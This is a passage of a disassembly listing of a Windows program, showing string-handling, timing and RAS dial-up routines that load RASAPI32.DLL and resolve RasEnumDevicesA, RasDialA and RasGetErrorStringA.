		cmp	eax, 1
		jl	short loc_408F15
		cmp	eax, 2
		jg	short loc_408F15
		mov	eax, [ecx+eax*4+14h]
		retn	4
; ---------------------------------------------------------------------------


loc_408F15:				; CODE XREF: sub_408F00+7j
					; sub_408F00+Cj
		xor	eax, eax
		retn	4
sub_408F00	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_408F20	proc near		; CODE XREF: sub_406390+116p

var_400		= byte ptr -400h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		sub	esp, 400h
		push	esi
		push	400h
		lea	eax, [esp+408h+var_400]
		mov	esi, ecx
		mov	ecx, [esp+408h+arg_4]
		push	eax
		push	ecx
		push	edx
		call	ds:dword_40F1E4	; LoadStringA
		test	eax, eax
		jz	short loc_408F76
		mov	eax, [esi+20h]
		test	eax, eax
		jz	short loc_408F5A
		push	eax		; Memory
		call	_free
		add	esp, 4


loc_408F5A:				; CODE XREF: sub_408F20+2Fj
		lea	eax, [esp+404h+var_400]
		push	eax
		call	ds:dword_40F084	; lstrlen
		inc	eax
		push	eax		; Size
		call	_malloc
		add	esp, 4
		test	eax, eax
		mov	[esi+20h], eax
		jnz	short loc_408F82


loc_408F76:				; CODE XREF: sub_408F20+28j
		xor	al, al
		pop	esi
		add	esp, 400h
		retn	8
; ---------------------------------------------------------------------------


loc_408F82:				; CODE XREF: sub_408F20+54j
		lea	ecx, [esp+404h+var_400]
		push	ecx
		push	eax
		call	ds:dword_40F0A0	; lstrcpy
		mov	al, 1
		pop	esi
		add	esp, 400h
		retn	8
sub_408F20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_408FA0	proc near		; CODE XREF: sub_408350+31Fp
		mov	eax, [ecx+20h]
		retn
sub_408FA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_408FB0	proc near		; CODE XREF: sub_405BF0+55p
					; sub_408350+4F4p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	[ecx+24h], eax
		retn	4
sub_408FB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_408FC0	proc near		; CODE XREF: sub_406390+D6p
					; sub_408350+4EAp
		mov	eax, [ecx+24h]
		retn
sub_408FC0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_408FD0	proc near		; CODE XREF: sub_405BF0+10p

var_400		= byte ptr -400h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		sub	esp, 400h
		push	esi
		push	400h
		lea	eax, [esp+408h+var_400]
		mov	esi, ecx
		mov	ecx, [esp+408h+arg_4]
		push	eax
		push	ecx
		push	edx
		call	ds:dword_40F1E4	; LoadStringA
		test	eax, eax
		jz	short loc_409026
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40900A
		push	eax		; Memory
		call	_free
		add	esp, 4


loc_40900A:				; CODE XREF: sub_408FD0+2Fj
		lea	eax, [esp+404h+var_400]
		push	eax
		call	ds:dword_40F084	; lstrlen
		inc	eax
		push	eax		; Size
		call	_malloc
		add	esp, 4
		test	eax, eax
		mov	[esi+4], eax
		jnz	short loc_409032


loc_409026:				; CODE XREF: sub_408FD0+28j
		xor	al, al
		pop	esi
		add	esp, 400h
		retn	8
; ---------------------------------------------------------------------------


loc_409032:				; CODE XREF: sub_408FD0+54j
		lea	ecx, [esp+404h+var_400]
		push	ecx
		push	eax
		call	ds:dword_40F0A0	; lstrcpy
		mov	al, 1
		pop	esi
		add	esp, 400h
		retn	8
sub_408FD0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_409050	proc near		; CODE XREF: sub_404850+1Bp
					; sub_406390+7Dp
		push	esi
		push	edi
		mov	esi, ecx
		xor	edi, edi
		push	offset a2_0	; "2.0"
		mov	[esi], edi
		mov	[esi+4], edi
		call	ds:dword_40F084	; lstrlen
		inc	eax
		push	eax		; Size
		call	_malloc
		add	esp, 4
		cmp	eax, edi
		mov	[esi], eax
		jz	short loc_409082
		push	offset a2_0	; "2.0"
		push	eax
		call	ds:dword_40F0A0	; lstrcpy


loc_409082:				; CODE XREF: sub_409050+24j
		mov	[esi+28h], edi
		mov	[esi+24h], edi
		lea	eax, [esi+10h]
		mov	ecx, 2


loc_409090:				; CODE XREF: sub_409050+4Cj
		mov	[eax-8], edi
		mov	[eax], edi
		mov	[eax+8], edi
		add	eax, 4
		dec	ecx
		jnz	short loc_409090
		mov	[esi+20h], edi
		pop	edi
		mov	eax, esi
		pop	esi
		retn
sub_409050	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4090B0	proc near		; CODE XREF: sub_406390+93p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	ecx
		push	ebx
		mov	ebx, [esp+8+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		mov	eax, [edi]
		test	eax, eax
		mov	ecx, [ebx]
		jz	loc_409180
		test	ecx, ecx
		jz	loc_409180
		mov	esi, ds:dword_40F0B8
		push	ecx
		push	eax
		call	esi	; lstrcmp
		neg	eax
		sbb	al, al
		inc	al
		jz	loc_409180
		mov	eax, [edi+4]
		test	eax, eax
		mov	ecx, [ebx+4]
		jz	loc_409180
		test	ecx, ecx
		jz	loc_409180
		push	ecx
		push	eax
		call	esi	; lstrcmp
		neg	eax
		sbb	al, al
		inc	al
		jz	short loc_409180
		push	ebp
		lea	ebp, [ebx+10h]
		mov	[esp+14h+var_4], 0
		lea	esi, [edi+8]
		sub	ebx, edi


loc_409117:				; CODE XREF: sub_4090B0+BAj
		mov	eax, [esi]
		test	eax, eax
		mov	ecx, [ebx+esi]
		jz	short loc_409176
		test	ecx, ecx
		jz	short loc_409176
		mov	edi, ds:dword_40F0B8
		push	ecx
		push	eax
		call	edi	; lstrcmp
		neg	eax
		sbb	al, al
		inc	al
		mov	byte ptr [esp+14h+arg_0], al
		jz	short loc_409176
		mov	eax, [esi+8]
		test	eax, eax
		mov	ecx, [ebp+0]
		jz	short loc_409176
		test	ecx, ecx
		jz	short loc_409176
		push	ecx
		push	eax
		call	edi	; lstrcmp
		neg	eax
		sbb	al, al
		inc	al
		mov	byte ptr [esp+14h+arg_0], al
		jz	short loc_409176
		mov	eax, [esp+14h+var_4]
		inc	eax
		add	esi, 4
		add	ebp, 4
		cmp	eax, 2
		mov	[esp+14h+var_4], eax
		jl	short loc_409117
		pop	ebp
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------


loc_409176:				; CODE XREF: sub_4090B0+6Ej
					; sub_4090B0+72j ...
		pop	ebp
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------


loc_409180:				; CODE XREF: sub_4090B0+10j
					; sub_4090B0+18j ...
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		pop	ecx
		retn	4
sub_4090B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_409190	proc near		; CODE XREF: sub_406390+100p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 8
		push	ebx
		push	ebp
		mov	ebp, [esp+10h+arg_0]
		mov	eax, [ebp+0]
		push	esi
		push	edi
		mov	ebx, ecx
		push	eax
		push	ebx
		call	sub_4089B0
		mov	ecx, [ebp+4]
		push	ecx
		lea	edx, [ebx+4]
		push	edx
		mov	ecx, ebx
		call	sub_4089B0
		lea	eax, [ebp+10h]
		mov	[esp+18h+arg_0], eax
		mov	eax, ebp
		sub	eax, ebx
		lea	esi, [ebx+8]
		mov	[esp+18h+var_4], eax
		mov	[esp+18h+var_8], 2
		jmp	short loc_4091D6
; ---------------------------------------------------------------------------


loc_4091D2:				; CODE XREF: sub_409190+D5j
		mov	eax, [esp+18h+var_4]


loc_4091D6:				; CODE XREF: sub_409190+40j
		mov	edi, [eax+esi]
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4091E8
		push	eax		; Memory
		call	_free
		add	esp, 4


loc_4091E8:				; CODE XREF: sub_409190+4Dj
		test	edi, edi
		jnz	short loc_4091F0
		mov	[esi], edi
		jmp	short loc_40920F
; ---------------------------------------------------------------------------


loc_4091F0:				; CODE XREF: sub_409190+5Aj
		push	edi
		call	ds:dword_40F084	; lstrlen
		inc	eax
		push	eax		; Size
		call	_malloc
		add	esp, 4
		test	eax, eax
		mov	[esi], eax
		jz	short loc_40920F
		push	edi
		push	eax
		call	ds:dword_40F0A0	; lstrcpy


loc_40920F:				; CODE XREF: sub_409190+5Ej
					; sub_409190+75j
		mov	eax, [esi+8]
		test	eax, eax
		mov	ecx, [esp+18h+arg_0]
		mov	edi, [ecx]
		jz	short loc_409225
		push	eax		; Memory
		call	_free
		add	esp, 4


loc_409225:				; CODE XREF: sub_409190+8Aj
		test	edi, edi
		jnz	short loc_40922E
		mov	[esi+8], edi
		jmp	short loc_40924E
; ---------------------------------------------------------------------------


loc_40922E:				; CODE XREF: sub_409190+97j
		push	edi
		call	ds:dword_40F084	; lstrlen
		inc	eax
		push	eax		; Size
		call	_malloc
		add	esp, 4
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_40924E
		push	edi
		push	eax
		call	ds:dword_40F0A0	; lstrcpy


loc_40924E:				; CODE XREF: sub_409190+9Cj
					; sub_409190+B4j
		mov	ecx, [esp+18h+arg_0]
		mov	eax, [esp+18h+var_8]
		add	ecx, 4
		add	esi, 4
		dec	eax
		mov	[esp+18h+arg_0], ecx
		mov	[esp+18h+var_8], eax
		jnz	loc_4091D2
		mov	eax, [ebx+20h]
		test	eax, eax
		mov	esi, [ebp+20h]
		jz	short loc_40927E
		push	eax		; Memory
		call	_free
		add	esp, 4


loc_40927E:				; CODE XREF: sub_409190+E3j
		test	esi, esi
		jnz	short loc_409295
		mov	[ebx+20h], esi
		mov	edx, [ebp+24h]
		pop	edi
		pop	esi
		pop	ebp
		mov	[ebx+24h], edx
		pop	ebx
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------


loc_409295:				; CODE XREF: sub_409190+F0j
		push	esi
		call	ds:dword_40F084	; lstrlen
		inc	eax
		push	eax		; Size
		call	_malloc
		add	esp, 4
		test	eax, eax
		mov	[ebx+20h], eax
		jz	short loc_4092C5
		push	esi
		push	eax
		call	ds:dword_40F0A0	; lstrcpy
		mov	eax, [ebp+24h]
		pop	edi
		pop	esi
		pop	ebp
		mov	[ebx+24h], eax
		pop	ebx
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------


loc_4092C5:				; CODE XREF: sub_409190+11Bj
		mov	ecx, [ebp+24h]
		pop	edi
		pop	esi
		pop	ebp
		mov	[ebx+24h], ecx
		pop	ebx
		add	esp, 8
		retn	4
sub_409190	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4092E0	proc near		; CODE XREF: sub_409BC0+187p
		push	esi
		mov	esi, ecx
		call	_clock
		mov	[esi+5D0h], eax
		mov	dword ptr [esi+5CCh], 2
		pop	esi
		retn
sub_4092E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_409300	proc near		; CODE XREF: sub_409BC0+5Bp
					; sub_409BC0+14Cp
		push	esi
		mov	esi, ecx
		cmp	dword ptr [esi+5CCh], 2
		jnz	short loc_409323
		call	_clock
		mov	[esi+5D4h], eax
		mov	dword ptr [esi+5CCh], 0
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_409323:				; CODE XREF: sub_409300+Aj
		mov	eax, [esi+5D0h]
		mov	[esi+5D4h], eax
		mov	dword ptr [esi+5CCh], 0
		pop	esi
		retn
sub_409300	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_409340	proc near		; CODE XREF: sub_409990+3p
		xor	eax, eax
		lea	edx, [ecx+94h]
		push	edi
		mov	[ecx+5FCh], eax
		mov	[ecx+600h], eax
		mov	[ecx+5D8h], eax
		mov	[ecx], eax
		mov	[ecx+90h], eax
		mov	[ecx+8Ch], eax
		mov	[ecx+4B8h], eax
		mov	[ecx+4], al
		mov	[ecx+9], al
		mov	[ecx+5CCh], eax
		mov	[ecx+5D4h], eax
		mov	[ecx+5D0h], eax
		mov	[ecx+5C4h], eax
		mov	[ecx+5C0h], eax
		mov	[ecx+4BDh], al
		mov	[ecx+4BCh], al
		mov	ecx, 109h
		mov	edi, edx
		rep stosd
		mov	dword ptr [edx], 424h
		pop	edi
		retn
sub_409340	endp


; =============== S U B	R O U T	I N E =======================================



sub_4093B0	proc near		; CODE XREF: sub_4099A0+111p

Size		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	eax, [esi+5D8h]
		push	edi
		xor	edi, edi
		cmp	eax, edi
		mov	[esi+5FCh], edi
		mov	[esi+600h], edi
		jz	short loc_4093E6
		lea	ecx, [esp+10h+var_4]
		push	ecx
		lea	edx, [esp+14h+Size]
		push	edx
		push	edi
		mov	[esp+1Ch+Size],	edi
		call	eax
		cmp	[esp+10h+var_4], edi
		jnz	short loc_4093EF


loc_4093E6:				; CODE XREF: sub_4093B0+1Dj
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_4093EF:				; CODE XREF: sub_4093B0+34j
		mov	eax, [esp+10h+Size]
		push	eax		; Size
		call	_malloc
		add	esp, 4
		cmp	eax, edi
		mov	[esi+600h], eax
		jnz	short loc_409411
		pop	edi
		mov	eax, 298h
		pop	esi
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_409411:				; CODE XREF: sub_4093B0+54j
		lea	ecx, [esp+10h+var_4]
		push	ecx
		lea	edx, [esp+14h+Size]
		mov	dword ptr [eax], 98h
		mov	eax, [esi+600h]
		push	edx
		push	eax
		call	dword ptr [esi+5D8h]
		test	eax, eax
		jz	short loc_409447
		mov	ecx, [esi+600h]
		push	ecx		; Memory
		call	j__free
		add	esp, 4
		mov	[esi+600h], edi


loc_409447:				; CODE XREF: sub_4093B0+80j
		mov	edx, [esp+10h+var_4]
		pop	edi
		mov	[esi+5FCh], edx
		xor	eax, eax
		pop	esi
		add	esp, 8
		retn
sub_4093B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_409460	proc near		; CODE XREF: sub_407D40+3A3p
		mov	eax, [ecx+5FCh]
		retn
sub_409460	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_409470	proc near		; CODE XREF: sub_407D40+415p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jl	short loc_409493
		cmp	eax, [ecx+5FCh]
		jge	short loc_409493
		mov	ecx, [ecx+600h]
		imul	eax, 98h
		lea	eax, [ecx+eax+15h]
		retn	4
; ---------------------------------------------------------------------------


loc_409493:				; CODE XREF: sub_409470+6j
					; sub_409470+Ej
		xor	eax, eax
		retn	4
sub_409470	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4094A0	proc near		; CODE XREF: sub_407D40+3DAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jl	short loc_4094C3
		cmp	eax, [ecx+5FCh]
		jge	short loc_4094C3
		mov	ecx, [ecx+600h]
		imul	eax, 98h
		lea	eax, [ecx+eax+4]
		retn	4
; ---------------------------------------------------------------------------


loc_4094C3:				; CODE XREF: sub_4094A0+6j
					; sub_4094A0+Ej
		xor	eax, eax
		retn	4
sub_4094A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4094D0	proc near		; CODE XREF: sub_405F00+45p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		mov	eax, [esi+5FCh]
		xor	ebx, ebx
		test	eax, eax
		push	edi
		jle	short loc_409517
		mov	ebp, [esp+10h+arg_0]
		xor	edi, edi
		jmp	short loc_4094F0
; ---------------------------------------------------------------------------
		align 10h


loc_4094F0:				; CODE XREF: sub_4094D0+18j
					; sub_4094D0+45j
		mov	eax, [esi+600h]
		lea	ecx, [edi+eax+15h]
		push	ecx
		push	ebp
		call	ds:dword_40F0B8	; lstrcmp
		test	eax, eax
		jz	short loc_409521
		mov	eax, [esi+5FCh]
		inc	ebx
		add	edi, 98h
		cmp	ebx, eax
		jl	short loc_4094F0


loc_409517:				; CODE XREF: sub_4094D0+10j
		pop	edi
		pop	esi
		pop	ebp
		or	eax, 0FFFFFFFFh
		pop	ebx
		retn	4
; ---------------------------------------------------------------------------


loc_409521:				; CODE XREF: sub_4094D0+34j
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, ebx
		pop	ebx
		retn	4
sub_4094D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_409530	proc near		; CODE XREF: sub_407D40+326p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	eax, [esi+5E4h]
		test	eax, eax
		jnz	short loc_409546
		mov	eax, 278h
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_409546:				; CODE XREF: sub_409530+Bj
		mov	eax, [esi+8Ch]
		test	eax, eax
		jz	short loc_409563
		push	eax		; Memory
		call	_free
		add	esp, 4
		mov	dword ptr [esi+8Ch], 0


loc_409563:				; CODE XREF: sub_409530+1Ej
		mov	eax, [esp+4+arg_0]
		push	ebx
		push	ebp
		push	101h
		push	eax
		lea	ebp, [esi+98h]
		push	ebp
		call	ds:dword_40F09C	; lstrcpyn
		push	0
		push	0
		lea	ebx, [esi+90h]
		push	ebx
		push	0
		push	ebp
		push	0
		mov	dword ptr [ebx], 0
		call	dword ptr [esi+5E4h]
		test	eax, eax
		jz	short loc_4095C9
		push	0
		push	0
		push	ebx
		push	0
		push	(offset	a?+2)
		push	0
		mov	dword ptr [ebx], 0
		call	dword ptr [esi+5E4h]
		cmp	eax, 25Bh
		jz	short loc_4095C9
		pop	ebp
		mov	dword ptr [ebx], 0
		pop	ebx
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_4095C9:				; CODE XREF: sub_409530+6Aj
					; sub_409530+8Bj
		mov	ecx, [ebx]
		push	edi
		push	ecx		; Size
		call	_malloc
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		mov	[esi+8Ch], edi
		jnz	short loc_4095EF
		pop	edi
		pop	ebp
		mov	[ebx], eax
		pop	ebx
		mov	eax, 298h
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_4095EF:				; CODE XREF: sub_409530+AFj
		mov	ecx, [ebx]
		mov	edx, ecx
		shr	ecx, 2
		xor	eax, eax
		rep stosd
		mov	ecx, edx
		push	0
		and	ecx, 3
		rep stosb
		mov	eax, [esi+8Ch]
		mov	ecx, [ebx]
		push	0
		push	ebx
		mov	[eax], ecx
		mov	edx, [esi+8Ch]
		push	edx
		push	ebp
		push	0
		call	dword ptr [esi+5E4h]
		test	eax, eax
		jz	short loc_40966B
		mov	eax, [esi+8Ch]
		push	0
		push	0
		push	ebx
		push	eax
		push	(offset	a?+2)
		push	0
		call	dword ptr [esi+5E4h]
		mov	edi, eax
		test	edi, edi
		jz	short loc_40966B
		mov	ecx, [esi+8Ch]
		push	ecx		; Memory
		call	_free
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	ebp
		mov	dword ptr [ebx], 0
		pop	ebx
		mov	dword ptr [esi+8Ch], 0
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40966B:				; CODE XREF: sub_409530+F2j
					; sub_409530+111j
		mov	edx, [esi+8Ch]
		mov	dword ptr [edx+4], 218h
		mov	eax, [esi+8Ch]
		mov	dword ptr [eax+0B8h], 4
		mov	ecx, [esi+8Ch]
		mov	dword ptr [ecx+0BCh], 1
		mov	edx, [esi+8Ch]
		push	81h
		push	offset asc_40FB1C ; " "
		add	edx, 1Bh
		push	edx
		call	ds:dword_40F09C	; lstrcpyn
		pop	edi
		pop	ebp
		pop	ebx
		xor	eax, eax
		pop	esi
		retn	4
sub_409530	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4096C0	proc near		; CODE XREF: sub_405F00+67p
					; sub_407D40+394p ...
		mov	eax, [ecx+8Ch]
		add	eax, 3DDh
		retn
sub_4096C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4096D0	proc near		; CODE XREF: sub_407D40+51Fp
		lea	eax, [ecx+4]
		retn
sub_4096D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4096E0	proc near		; CODE XREF: sub_406390+150p
					; sub_407820+12Ep ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4
		mov	edi, ecx
		push	eax
		lea	esi, [edi+4]
		push	esi
		call	ds:dword_40F09C	; lstrcpyn
		push	esi
		lea	ebx, [edi+199h]
		push	ebx
		call	ds:dword_40F0A0	; lstrcpy
		push	esi
		call	ds:dword_40F084	; lstrlen
		test	eax, eax
		mov	esi, ds:dword_40F0A8
		jle	short loc_40971D
		push	offset asc_40FB20 ; ","
		push	ebx
		call	esi	; lstrcat


loc_40971D:				; CODE XREF: sub_4096E0+33j
		add	edi, 9
		push	edi
		push	ebx
		call	esi	; lstrcat
		pop	edi
		pop	esi
		pop	ebx
		retn	4
sub_4096E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_409730	proc near		; CODE XREF: sub_406390+165p
					; sub_408350+481p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	80h
		mov	esi, ecx
		push	eax
		lea	ebx, [esi+9]
		push	ebx
		call	ds:dword_40F09C	; lstrcpyn
		lea	edi, [esi+4]
		push	edi
		add	esi, 199h
		push	esi
		call	ds:dword_40F0A0	; lstrcpy
		push	edi
		call	ds:dword_40F084	; lstrlen
		test	eax, eax
		mov	edi, ds:dword_40F0A8
		jle	short loc_409773
		push	offset asc_40FB20 ; ","
		push	esi
		call	edi	; lstrcat


loc_409773:				; CODE XREF: sub_409730+39j
		push	ebx
		push	esi
		call	edi	; lstrcat
		pop	edi
		pop	esi
		pop	ebx
		retn	4
sub_409730	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_409780	proc near		; CODE XREF: sub_406390+12Bp
					; sub_408350+457p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	100h
		push	eax
		add	ecx, 29Bh
		push	ecx
		call	ds:dword_40F09C	; lstrcpyn
		retn	4
sub_409780	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4097A0	proc near		; CODE XREF: sub_406390+140p
					; sub_408350+46Cp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	100h
		push	eax
		add	ecx, 39Ch
		push	ecx
		call	ds:dword_40F09C	; lstrcpyn
		retn	4
sub_4097A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4097C0	proc near		; CODE XREF: sub_405EB0+2Ap
					; sub_408350+50p ...

var_120		= dword	ptr -120h
arg_0		= dword	ptr  4

		sub	esp, 120h
		push	esi
		mov	esi, ecx
		mov	eax, [esi+4B8h]
		test	eax, eax
		mov	dword ptr [esi+5C8h], 0FFFFFFFFh
		jz	short loc_409848
		push	ebp
		push	edi
		push	eax
		call	dword ptr [esi+5ECh]
		mov	ecx, [esi+4B8h]
		lea	eax, [esp+12Ch+var_120]
		push	eax
		push	ecx
		mov	[esp+134h+var_120], 120h
		call	dword ptr [esi+5F4h]
		cmp	eax, 6
		jz	short loc_40983C
		mov	edi, ds:dword_40F0D4
		mov	ebp, [esp+12Ch+arg_0]


loc_409812:				; CODE XREF: sub_4097C0+7Aj
		mov	edx, ebp
		dec	ebp
		test	edx, edx
		jz	short loc_409846
		push	1
		call	edi	; Sleep
		mov	ecx, [esi+4B8h]
		lea	eax, [esp+12Ch+var_120]
		push	eax
		push	ecx
		mov	[esp+134h+var_120], 120h
		call	dword ptr [esi+5F4h]
		cmp	eax, 6
		jnz	short loc_409812


loc_40983C:				; CODE XREF: sub_4097C0+43j
		mov	dword ptr [esi+4B8h], 0


loc_409846:				; CODE XREF: sub_4097C0+57j
		pop	edi
		pop	ebp


loc_409848:				; CODE XREF: sub_4097C0+1Bj
		pop	esi
		add	esp, 120h
		retn	4
sub_4097C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_409860	proc near		; CODE XREF: sub_408350+BCp

var_2C08	= dword	ptr -2C08h
var_2C04	= dword	ptr -2C04h
var_2C00	= dword	ptr -2C00h
var_2BFC	= byte ptr -2BFCh

		mov	eax, 2C08h
		call	__alloca_probe
		push	ebx
		lea	eax, [esp+2C0Ch+var_2C08]
		mov	ebx, ecx
		push	eax
		lea	ecx, [esp+2C10h+var_2C04]
		push	ecx
		lea	edx, [esp+2C14h+var_2C00]
		push	edx
		mov	[esp+2C18h+var_2C04], 2C00h
		mov	[esp+2C18h+var_2C00], 2C0h
		call	dword ptr [ebx+5F0h]
		test	eax, eax
		jz	short loc_4098A0
		xor	al, al
		pop	ebx
		add	esp, 2C08h
		retn
; ---------------------------------------------------------------------------


loc_4098A0:				; CODE XREF: sub_409860+34j
		mov	eax, [esp+2C0Ch+var_2C08]
		push	esi
		xor	esi, esi
		test	eax, eax
		jbe	short loc_4098C9
		push	edi
		lea	edi, [esp+2C14h+var_2BFC]


loc_4098B0:				; CODE XREF: sub_409860+66j
		mov	eax, [edi]
		push	eax
		call	dword ptr [ebx+5ECh]
		mov	eax, [esp+2C14h+var_2C08]
		inc	esi
		add	edi, 2C0h
		cmp	esi, eax
		jb	short loc_4098B0
		pop	edi


loc_4098C9:				; CODE XREF: sub_409860+49j
		pop	esi
		mov	al, 1
		pop	ebx
		add	esp, 2C08h
		retn
sub_409860	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4098E0	proc near		; CODE XREF: sub_408350+26p
					; sub_408350+4E1p
		push	esi
		mov	esi, ecx
		mov	eax, [esi+5CCh]
		test	eax, eax
		jz	short loc_409904
		cmp	eax, 1
		jle	short loc_409900
		cmp	eax, 3
		jg	short loc_409900
		call	_clock
		mov	ecx, eax
		jmp	short loc_40990A
; ---------------------------------------------------------------------------


loc_409900:				; CODE XREF: sub_4098E0+10j
					; sub_4098E0+15j
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_409904:				; CODE XREF: sub_4098E0+Bj
		mov	ecx, [esi+5D4h]


loc_40990A:				; CODE XREF: sub_4098E0+1Ej
		sub	ecx, [esi+5D0h]
		mov	eax, 10624DD3h
		imul	ecx
		sar	edx, 6
		mov	eax, edx
		shr	eax, 1Fh
		add	eax, edx
		pop	esi
		retn
sub_4098E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_409930	proc near		; CODE XREF: sub_408350+EDp

var_2C08	= dword	ptr -2C08h
var_2C04	= dword	ptr -2C04h
var_2C00	= dword	ptr -2C00h

		mov	eax, 2C08h
		call	__alloca_probe
		lea	eax, [esp+2C08h+var_2C08]
		push	eax
		lea	edx, [esp+2C0Ch+var_2C04]
		push	edx
		lea	eax, [esp+2C10h+var_2C00]
		push	eax
		mov	[esp+2C14h+var_2C04], 2C00h
		mov	[esp+2C14h+var_2C00], 2C0h
		call	dword ptr [ecx+5F0h]
		test	eax, eax
		jz	short loc_40996C
		or	eax, 0FFFFFFFFh
		add	esp, 2C08h
		retn
; ---------------------------------------------------------------------------


loc_40996C:				; CODE XREF: sub_409930+30j
		mov	eax, [esp+2C08h+var_2C08]
		add	esp, 2C08h
		retn
sub_409930	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_409980	proc near		; CODE XREF: sub_407D40+30Ep
		mov	al, 1
		mov	[ecx+4BDh], al
		retn
sub_409980	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_409990	proc near		; CODE XREF: sub_407D40+228p
		push	esi
		mov	esi, ecx
		call	sub_409340
		mov	eax, esi
		pop	esi
		retn
sub_409990	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4099A0	proc near		; CODE XREF: sub_407D40+23Cp
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4099B0
		push	eax
		call	ds:dword_40F0C8	; FreeLibrary


loc_4099B0:				; CODE XREF: sub_4099A0+7j
		push	offset aRasapi32_dll ; "RASAPI32.DLL"
		call	ds:dword_40F0E0	; LoadLibraryA
		test	eax, eax
		mov	[esi], eax
		jz	loc_409ABE
		push	edi
		mov	edi, ds:dword_40F0DC
		push	offset aRasenumdevices ; "RasEnumDevicesA"
		push	eax
		call	edi	; GetProcAddress
		mov	[esi+5D8h], eax
		mov	eax, [esi]
		push	offset aRasdiala ; "RasDialA"
		push	eax
		call	edi	; GetProcAddress
		mov	ecx, [esi]
		push	offset aRasgeterrorstr ; "RasGetErrorStringA"
		push	ecx
		mov	[esi+5DCh], eax
		call	edi	; GetProcAddress
